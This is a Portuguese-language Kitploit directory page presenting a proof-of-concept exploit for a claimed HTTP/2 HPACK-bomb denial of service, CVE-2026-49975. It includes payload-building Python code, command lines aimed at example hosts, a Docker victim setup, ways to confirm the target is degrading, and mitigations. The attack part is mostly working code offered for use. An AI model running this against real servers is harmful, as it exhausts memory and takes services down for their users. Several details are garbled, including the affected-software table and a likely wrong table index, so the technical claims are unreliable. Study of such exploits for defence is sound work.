Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-49975-http2bomb_reproduction — PoC de exploit para a vulnerabilidade CVE-2026-49975 DoS Bomba HTTP/2. Demonstra a bomba de referência indexada HPACK combinada com bloqueio de janela de controle de fluxo para esgotar a memória do servidor através de uma única conexão. | Kitploit
Ferramentas/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança de RedePapers e PesquisaAprendizado e Educação
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

PoC de exploit para a vulnerabilidade CVE-2026-49975 DoS Bomba HTTP/2. Demonstra a bomba de referência indexada HPACK combinada com bloqueio de janela de controle de fluxo para esgotar a memória do servidor através de uma única conexão.

Ver Repositório
1145há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49975 (HTTP/2 Bomb) Guia Completo de Reprodução

Baseado no Aviso do CERT da QiAnXin + Pesquisa Original da Calif

================================================================

I. Visão Geral da Vulnerabilidade

CVE-2026-49975 é uma vulnerabilidade crítica de negação de serviço (DoS) em implementações de servidores e proxies HTTP/2. O ataque, apelidado de "HTTP/2 Bomb" ou "HPACK Bomb", explora dois comportamentos de nível de projeto no protocolo HTTP/2 para forçar um alvo a um consumo ilimitado de memória (OOM) e esgotamento de CPU:

  1. Explosão de Referências Indexadas HPACK – um pequeno frame HEADERS que referencia logicamente a mesma entrada de cookie milhares de vezes por meio de referências Indexadas HPACK. Na decodificação, o decodificador HPACK do par pode alocar memória proporcional ao número de referências, e não ao tamanho na rede.
  2. Paralisação da Janela de Controle de Fluxo – combinado com uma janela inicial de zero, o remetente enfileira dados HEADERS mas o receptor se recusa a ler até que atualizações de janela cheguem; os buffers se enchem e a pressão de memória cresce.

Pontuação Base CVSS 3.1: 9.8 (Crítica)
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Princípio do Ataque (Combinação em Duas Etapas)

O ataque é mais eficaz quando as duas etapas se complementam, mas cada etapa isolada é suficiente contra algumas implementações.

Etapa 1: Bomba de Referências Indexadas HPACK

A compressão de cabeçalhos HPACK do HTTP/2 usa uma tabela dinâmica em evolução. Uma vez que um cabeçalho de cookie grande é inserido na tabela (via Codificação Literal+Incremental), um atacante pode referenciar essa entrada com um opcode de 1 byte. Referências repetidas fazem o decodificador reconstruir o mesmo cabeçalho repetidamente.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Um pacote de 5 KB pode expandir para centenas de megabytes de payload decodificado.

Estágio 2: Bloqueio de Janela HTTP/2

SETTINGS com INITIAL_WINDOW_SIZE=0 força a vítima a enfileirar todos os dados de HEADERS/continuação. O atacante libera frames WINDOW_UPDATE lentamente. Os buffers permanecem combinatoriamente cheios.

Mecanismofator de amplificação
corpo HEADERS bruto1x
explosão de refs HPACK20–80x
+ streams concorrentes100–500x
+ bloqueio de janela1000x+

III. Servidores Afetados

Fornecedor / ProjetoVersãodescrição
Apache mod_http2< 2.0.13OOM em explosão de refs indexadas
nghttp2< 1.62.0inchaço de memória ilimitado
h2o< 4.0.2loop infinito no decodificador
Node.js http2 crate< 1.12.0expansão intrínseca em nghttp2-rs
Go net/http (h2)< 1.24travamento de goroutine + alocação OSL
Apache Traffic Server< 9.3.0OOM via buffer interno
HAProxy h2< 2.9crash em AVP superdimensionado
Envoy< 1.30alocação massiva no controle de fluxo
Rust hyper/h2 crate< 5.14panic em overflow SK

Consulte a entrada CVE do seu fornecedor para os limites exatos.

IV. Configuração do Ambiente

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker vítima rápida:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Código de Exploração

O script complementar é exploit.py.

A rotina principal:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

O script executa:

  • conexão TLS para host:port
  • preface PRI do HTTP/2 + SETTINGS com window=0
  • envia a bomba HPACK como HEADERS
  • opcionalmente envia gotejamento lento de WINDOW_UPDATE
  • mede a degradação de RTT via frames PING

VI. Uso

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Verificar a Eficácia do Ataque

Monitore os recursos da vítima:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Sinais de que o ataque está funcionando:

  • RSS da vítima cresce >500 MB
  • CPU salta para 100%
  • latências de PING excedem 1 segundo
  • conexões expiram

VIII. Mitigação

Abordagemconfiguração
Limitar cabeçalhos por streamMaxHeaderCount 500
Rejeitar baixa compressãolimite de taxa < 5
Limitar crescimento do HPACKlimitar tabela dinâmica a 1 KB
Memória por conexãorejeitar após N MB
limitação de taxaconn/s genérico, req/s

IX. Aviso legal

Estas informações destinam-se apenas a fins educacionais e a testes de segurança autorizados. Execute apenas contra sistemas que você possui ou para os quais tem permissão por escrito para testar.

Referências

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (original Mandarin / English bulletin)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
Baixar ferramenta